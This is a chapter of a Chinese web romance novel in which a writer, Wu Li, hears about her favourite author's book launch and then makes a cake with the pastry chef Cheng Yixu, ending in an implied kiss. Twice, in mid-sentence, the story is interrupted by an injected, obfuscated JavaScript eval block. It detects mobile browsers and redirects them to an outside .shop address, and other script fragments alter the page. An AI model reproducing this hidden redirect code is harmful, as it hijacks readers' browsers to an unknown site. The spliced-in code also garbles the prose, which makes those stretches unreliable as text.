“谁啊?你又换''老公''了?”她以为齐溪又粉上哪个她不认识的明星。 “哎呀不是!”齐溪否认着,也不卖关子了,说道:“是舟麒!” “舟麒?!”邬荔瞬间清醒。 舟麒是她和齐溪在大学就喜欢的一个作家,专写悬疑惊悚小说,听说此人年少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591052|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成名,才刚满十九岁就写了现在还时不时出现在榜首的《门后第三道影子》。 齐溪接着说道:“我们公司承包了舟麒的新书发布会,就在下周日两点MA酒店的艺术厅!” “真的啊?”邬荔声音都飘了起来。 “当然是真的,我还不是第一批知道的呢,过两天就会全网公布这个消息,到时候话题肯定会爆!” “那发布会参与条件是什么?要抽奖吗?”邬荔知道这个消息,说不心动是假的,应该没有人能拒绝和喜欢的作者见面,她自然也不例外。 “这个嘛……”齐溪声音一下子低落下来,支支吾吾地说道:“我们收到的消息是只邀请了媒体,舟麒首次在公众面前亮相,本质是为了给新书造势,还有新改编影视也要上映了。毕竟他距离上本书完结已经沉寂三年了,听说他的公司费了好大力气才让他答应出席。” 邬荔想也是,百万收藏的作家怎么可能轻而易举地让她见到,“又见不到真人,你那么激动干什么?” “普通人是见不到,可我们不是普通人呀。”齐溪话锋一转,“等到时候我给你拿个工作牌,现场那么多人,带你混进去还不是轻而易举的事情。” 听齐溪这么一说,她刚压下的嘴角又悄悄升起,“我的好姐妹,混进去之后还能帮我混个签名吗?” 齐溪在那头不置可否地说:“那就要看你的本事啦,我的好姐妹。” 这个好消息让邬荔一直恍惚到下午,早上的细纲更是推倒重写了好几次都达不到她想要的效果。 看时间已经到三点,她再不情愿也不好意思让人家空等,换好衣服就出发去甜品店。 今天是周三,这个点一向不是人多的时候。 等邬荔晃晃悠悠地走到店外,先被自动打开的大门吓了一跳,接着就是一道清脆的女声—— “欢迎光临!” 她定睛一看,还是之前见过的少女,不过这次换了套粉白相间的Lolita,举手投足间更显青春洋溢。 “我记得你,你是上次是不是在窗边和我哥坐一起聊天!”程一言把她迎进门,“我叫程一言,你叫什么?” 邬荔轻握她伸出的手,小声说:“我叫邬荔。” “你的名字真可爱。”她毫不掩饰地夸赞道。 正当邬荔准备往店里再走近一步的时候,程一言突然凑到她耳边说:“你这次也是来找我哥的吧?他在后厨呢,我带你过去。” 邬荔点点头,随着程一言的脚步往吧台后面的地方走。 吧台和后厨隔着一道帘子,程一言把她引到帘子前,说:“外面不能没有人,他就在里面,你自己进去吧。” 邬荔没想太多,掀开帘子一看,程一叙挺拔的身形骤然映入眼帘。 白色的厨师服一直扣到脖子上,宽厚的肩膀下是被围裙勾勒得一览无余的窄腰,袖子拉到小臂处,手下正游刃有余地给即将完成的蛋糕添上最后的裱花。 他听到声音抬眼看了一下邬荔,难以掩饰的笑意从透明口罩后面溢出来,“幸好。” “什么?”邬荔以为自己听错了。 “没什么,你来了就好。”程一叙依旧笑着。 邬荔不知道是不是自己的错觉,忽然觉得程一叙看向她的眼神带着某种她读不懂的情绪,那感觉酸酸胀胀的,压得她喘不过气。 须臾,她听见自己的声音在说:“对不起,我以后不会再让你等这么久了。” 12. 第十二章 程一叙睫毛颤了下,手下本能地又勾勒出一瓣花瓣,却在收尾时不自觉地捏紧裱花袋。 “不用道歉,只要是你,那我等多久都没关系。” 他轻柔的声音在悠悠飘进邬荔耳朵里,悄悄砸在她心上,刚才的酸涩彻底化成内疚。 她后悔自己没有早点来,甚至连准确的时间都没有告诉程一叙。 邬荔自知理亏,走近两步,讪讪开口:“你不生气吗?” 说完又不敢正眼瞧程一叙的表情,“其实我真的没那么好,你要是觉得我浪费你的时间了,我也是可以理解的……” 程一叙看着眼前的女孩低头不安地玩弄着手指,葱白似的手指快要被她拧成麻花。 “把时间花在喜欢的人和事上,不叫浪费。”他脱下手套,一只手轻盖在女孩手腕,另一只手不动声色地她把绞在一起的双手分开。 “就像你的小花园,被可乐破坏之前,你难道觉得花时间照顾十几块钱的花花草草也是浪费时间吗?” 邬荔茫然抬头。 程一叙继续说:“所以你不用觉得抱歉,我相信,等你准备好了,就会来找我。 而在你到来之前,我会一直期待。” 程一叙的话细细密密地包裹着邬荔,像被太阳晒过的被子,总能给她温暖的安全感。 她紧绷的手慢慢放松,呼吸也顺畅起来。 “我准备好了。”邬荔对上他的眼睛,声音不大但语气坚定,“今天你让我做什么都可以!” 程一叙看她咬紧牙关的模样,脸颊两侧微微鼓起,像《疯狂动物城》里的兔子警官,一副要英勇就义的神情。 他偏头一笑,说:“不用紧张,只是想你陪我做个蛋糕。” “啊?”邬荔脑子一下子转不过弯来,她以为以程一叙会借这个愿望和她做更有挑战的事情,没想到只是一起做蛋糕。 程一叙从侧边柜子里掏出套和他身上一样的白色厨师服,故意逗她,“不愿意吗?但你现在可再没有反悔的机会了。” “我愿意!”邬荔一把抓住他手中的衣服,看都不看就要往身上套。 奈何她没经验,上装穿好了可下装的围裙怎么也系不上。 邬荔闷头捣鼓,那两条系带在她手里像泥鳅似的,每当她以为绑好了又自己松开。 “等我一下……马上就好。” “我来吧。” 程一叙的绕到她身前,两个人面对面地站在一起。 邬荔一直觉得他很高,现在这么一看,还要微微仰头才能看到他的喉结。 距离靠的太近,她手都有些不知道该往哪放,眼睛也不知道该看哪里,只能愣愣地看着他的脖颈。 程一叙脖颈连接耳朵的那一片肌肤很白,她忽然发现,他耳垂上有个黑色的小点。 “又在看什么?”程一叙的语气用微微上扬,他觉得眼前的女孩什么都好,就是太不专心,对着他的时候老是走神。 邬荔被戳破,也不藏着掖着,指了指他的耳垂,说:“你居然有耳洞,我都没有呢。” 程一叙手上翻飞系带的动作不停,闻言只是笑,然后不怀好意地凑得更近,“罚你再看仔细点。” 邬荔被他的猛然靠近弄得更加不知所措,想要往后退,还没迈出腿,便感觉腰上一紧—— 她忘了自己的系带还攥在程一叙手里。 实在是避无可避,偏偏罪魁祸首还和没事人一样,一条围裙半天也不帮她系好,摆明了是在捉弄她。 邬荔心一横,想着怎么也要扳回一局。 她伸手捏住那只在她眼前晃来晃去的耳垂,不轻不重地揉了下。 手上传来柔软的质感,并没有耳洞的痕迹。 哦,原来是颗痣。 “摸清了吗?”程一叙侧脸看向她。 他没有躲,甚至微微偏了偏头,像是把耳朵往她手心里又送了送。 “摸清了……” 邬荔收回手,她的指尖还残留着他耳垂的温度,那颗痣的位置,她闭上眼睛也能摸到。 邬荔的心跳快得像打鼓,她想,不就是一颗痣,搞那么神秘是干什么呀。 暧昧的气氛在他们之间腾升,邬荔好像能看见空气中的粉红色泡泡,一个接一个地在她脸庞炸开。 “哥——外面是不是可以清——我去!” 邬荔迅速拉开和程一叙的距离,退到操作台的另一边。 程一言在他们分开的瞬间用手捂住眼睛,嘴巴不停念叨着:“我是瞎的,我什么都看不见,你们继续,继续……” “没有继续了。”程一叙皮笑肉不笑地对她说:“你不管外面的客人,跑进来干嘛?” 程一言讪讪笑着,她哥很少对她发脾气,但现在是真的不爽了,“哥哥,我就是看外面没客人了,想过来向您请示一下是否需要清场……” 然后用飞快地瞥了眼邬荔的方向,见后者完全背对着他们,她这才小声地对程一叙说:“哥,我知道错了,我绝对不是故意坏你好事的!” 说完马上闭嘴,用手做拉链妆在嘴前划拉几下,无声地说:“我绝对不会往外说……” 程一叙克制住想要翻白眼的欲望,深吸一口气对她说:“别玩了,去清场。” “收到!”程一言马上消失在他眼前,走之前还懂事地把帘子挂好,给他们留下足够的二人空间。 程一叙转身地把提前备好的材料一一摆好在操作台上。 而邬荔还站在离他最远的地方,沉默地背着身。 他知道女孩脸皮薄,觉得是自己失策,早知道该把程一言也给清走的。 “邬荔?你还好吗?” 邬荔愤然转身,脸颊的绯红还未完全褪去,她咬牙切齿地回答:“都怪你!” “嗯,怪我。” “你!”邬荔又被他宠溺的语气噎得无话可说。 程一叙把材料挪到邬荔面前,讨好似的把蛋糕胚和各种辅料放在她手边。 “我保证不会再有下次了,这次可以先原谅我吗?”他把装好的奶油朝她递过来。 邬荔本来就不生气,只是刚才事发突然,好像小时候偷玩妈妈的化妆品被发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591053|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更多的只是无措和尴尬。 程一叙除了没给她好好系围裙以外也没做错其他的事情,人家给了台阶,她想了想,还是接过他手里的奶油袋。 “好吧,下不为例。” 他们对视一眼,一起笑了出来。 邬荔看着眼前的东西,向他问道:“你怎么会想着要和我一起做蛋糕?” 程一叙把蛋糕胚连着托盘放在旋转台上,说:“和喜欢的人做喜欢的事,这还需要理由吗?” 邬荔用胳膊怼回去,“那要是你喜欢的人不喜欢做你喜欢的事呢?” “其实我也不确定她会不会喜欢,但我发现她好像有在尝试,所以我就想着带她来做最有趣的部分,如果她觉得效果不错,那我再带她从头做起。”程一叙认真地看着她,琥珀色的瞳孔在灯光下折射出细碎的光。 “你怎么知道的?”邬荔听完疑惑不已,“可乐跟你说的?它成精没告诉我啊!” 程一叙笑得停不下来,连肩膀都在颤抖,语气更是抖得不成样子,“你家……是,开放式厨房……” 邬荔想起自己家厨房的那个糟糕样子,好像确实不难看出她的尝试是以失败告终。 “那你有的受了!我告诉你,我很感兴趣!”她说完就开始往蛋糕胚上挤奶油,毫无章法地挤出一坨又一坨。 程一叙缓了好一会儿才止住笑,女孩对他放下“狠话”,却没想到进他耳朵里偷偷变成了情话。 “那说好了,每天晚上七点,你来店里,我亲自教你。” 邬荔忙着和东倒西歪的奶油斗智斗勇,想也不想就回答:“好啊,一言为定。” 程一叙目的达到,还没高兴太久,就被邬荔用奶油堆砌出的“大作”震惊。 “怎么样?我有干这行的天赋吗?” 程一叙难得有一瞬间失语,刚想说点什么,看到女孩炯炯目光又咽下去,半晌憋出一句:“有很大进步空间。” 邬荔一下子蔫了,“丑就丑点了,只要步骤对了就行。” “其实,也不是没得救。” 这时一只大手覆盖在她拿抹刀的手背上,程一叙半包围似的把她圈进怀里,另一只手转着转台不断调整角度。 邬荔动弹不得,想说哪有这么教人的? “嘘。”可程一叙先一步堵住她,“小姐,做事要专心啊。” 邬荔懵懂点头,两个人呼吸交缠在一起,分不清是谁不专心。 但渐渐的,她好像摸索到了一点门道,哪里力气该轻,哪里该重,转台又该怎么和抹刀配合。 不多时,平整的抹面已经看不出方才的奇形怪状。 邬荔被提醒之后再不敢分心,一直盯着蛋糕看。现在蛋糕做好,周身的感官好像被打开了开关键,一切细节都在放大。 她后背隔着薄薄的衣物,却似乎能感受到他胸膛的温度。 心跳又开始不听话了。 时间仿佛被拉长,每一秒都变得粘稠。 她抬头想要呼吸更多的空气,却不想有人的脑袋正向她探去 “——唔!”